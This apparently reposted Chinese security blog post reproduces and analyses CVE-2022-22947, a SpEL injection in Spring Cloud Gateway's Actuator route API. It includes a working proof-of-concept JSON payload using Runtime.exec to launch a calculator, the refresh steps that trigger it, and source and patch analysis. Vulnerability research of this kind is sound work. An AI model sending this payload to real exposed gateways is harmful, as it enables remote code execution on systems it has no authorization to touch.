背景
SpringCloud 是Spring提供的微服務實作框架,其中包含網關、配置中心和注冊中心等內容,網關的第一代實作為zuul,第二代實作為Gateway,提供了更好的性能和特性,
網關可以提供統一的流量控制和訪問控制等功能,一般放在客戶端請求的入口或作為nginx的直接上游如下圖,

Gateway 使用
Gateway配置可以使用兩種方式:
- yml或者properties 固定配置
- 通過actuator插件動態添加
作為一個網關最主要的功能就是路由功能,而路由的規則由Route、Predicate、Filter 三部分組成,


- Spring Cloud Gateway < 3.1.1
- Spring Cloud Gateway < 3.0.7
實操
yml固定配置方式
- 首先在idea中新建spring專案,pom中引入spring-cloud-starter-gateway依賴(一般使用引入starter即可,這里單獨指定含漏洞的自動配置底層包)
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-gateway</artifactId>
</dependency>
<!-- 有漏洞底層包版本-->
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-gateway-server</artifactId>
<version>3.1.0</version>
</dependency>
- 在application.yml或者application.properties中新建以下配置:
spring:
application:
name: GatewatDemo
cloud:
gateway:
routes:
- id: "router1"
uri: "http://127.0.0.1:9223/"
predicates:
- Path=/
filters:
- AddResponseHeader=Result,1
配置含義: 新建了一個id為router1 的路由,規則為當請求的路徑為/時,將請求轉發給http://127.0.0.1:9223 (predicates)并給回應增加一個頭Result值為1(filter),
本地起一個9223服務,觀察能否轉發,啟動專案,轉發成功,這就是一個網關基本的功能,

動態配置
除了通過組態檔寫死的方式,Gateway也支持通過Actuator(spring 監控組件)動態配置路由,
- pom中新引入
spring-boot-starter-actuator
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
- 組態檔( Spring Boot 2.x 后為了安全起見默認只開放/actuator/health和/actuator/info端點),開啟gateway監控
management:
endpoint:
gateway:
enabled: true
endpoints:
web:
exposure:
include: gateway
- 重啟應用,訪問
http://localhost:8080/actuator/gateway/routes,出現下面頁面則表示配置成功,

- 使用actuator動態創建路由,使用post請求發送以下內容到
http://127.0.0.1:8080/actuator/gateway/routes/router2:
{
"id": "router2",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "2"
}
}],
"uri": "http://127.0.0.1:9224",
"predicate": "/9224"
}
含義和第一種類似,不過轉發路徑變成了9224.
- 請求
http://127.0.0.1:8080/actuator/gateway/refresh應用配置 - 請求頁面,頁面404,這事因為9224的后端服務沒有/9224這個端點所以是404,但有請求記錄,證明轉發成功,


- 為了使請求正常,所以配置新增一項重寫path
{
"id": "router2",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "2"
}
},{
"name":"RewritePath",
"args":{
"_genkey_0":"/9224",
"_genkey_1":"/"
}
}],
"uri": "http://127.0.0.1:9224",
"predicate": "/9224"
}
- 重新訪問,頁面正常

漏洞復現
其實這個漏洞本身是一個SpEL注入,我們嘗試在之前的yml組態檔中使用SpEL運算式,我們將filter中的AddResponseHeader 值改為#{1+1}
spring:
application:
name: GatewatDemo
cloud:
gateway:
routes:
- id: "router1"
uri: "http://127.0.0.1:9223/"
predicates:
- Path=/
filters:
- AddResponseHeader=Result,#{1+1}
查看回傳頭,運算式被成功執行:

將運算式替換成惡意的SpEL運算式即可觸發RCE,#{T(Runtime).getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")},

雖然這個地方確實存在SpEL注入,但卻很難利用,因為攻擊者很難控制目標機器的組態檔,所以利用條件就變成了有沒有開啟Actuator,且Actuator開啟了gateway功能沒有配置spring security,
使用動態創建的方法試試,
使用以下payload請求創建路由:
{
"id": "router2",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{T(Runtime).getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')}"
}
},{
"name":"RewritePath",
"args":{
"_genkey_0":"/9224",
"_genkey_1":"/"
}
}],
"uri": "http://127.0.0.1:9224",
"predicate": "/9224"
}
重繪路由,發現代碼成功執行,

原理分析
我們打開spring-cloud-gateway的官網,發現SpEL原本是官方提供的一個參考bean的功能,

我們對exec執行下個斷點,觀察程式的呼叫堆疊,

前面一堆是Reactor的邏輯,因為是異步非阻塞的方式,所以閱讀起來有一定門檻,
簡單來說,就是當我們請求/actuator/gateway/routes/refresh時會去呼叫注冊在reactor 中的方法,然后請求org.springframework.cloud.gateway.actuate 包中的refresh()方法

后續會將application的背景關系傳入gateway的邏輯,在處理Filter的邏輯中會對屬性欄位進行normalizeProperties 操作:


具體邏輯會放入normalize中進行處理,其中第一個引數即為我們自己配置的filter處理邏輯

第三個引數為SpEL的parse,

隨后進入ShorcutType中的normalize進行處理,決議key、value進入并將value傳入getValue():

在getValue中對字串進行trim操作,同時判斷字串以#{開始并以}結束:

如果滿足條件則進入SpEL進行決議,可以看到這里導致能夠RCE的原因,使用了StandardEvaluationContext 作為context, 隨后對組態檔的value進行標準SpEL決議,

到這里就基本理解了漏洞觸發的原因
補丁分析
在2月17號,開發者提交了在org.springframework.cloud.gateway.support#ShortcutConfigurable使用自定義Context方式替換原來的StanderdContext

自定義的Context增加了Spring的BeanFactory類,從而能實作對Spinrg IOC容器 bean的參考,


修復后新版本運行會報錯:

總結
漏洞影響版本:
- Spring Cloud Gateway < 3.1.1
- Spring Cloud Gateway < 3.0.7
基本上和SpringCloud Functions 一樣是個SpEL注入的漏洞,只不過在網關的場景出現,需要應用暴露actuator,有一定前置條件,
參考
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22947
https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/
https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator
公眾號
歡迎大家關注我的公眾號,這里有干貨滿滿的硬核安全知識,和我一起學起來吧!

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/469892.html
標籤:其他
下一篇:資料轉發程序
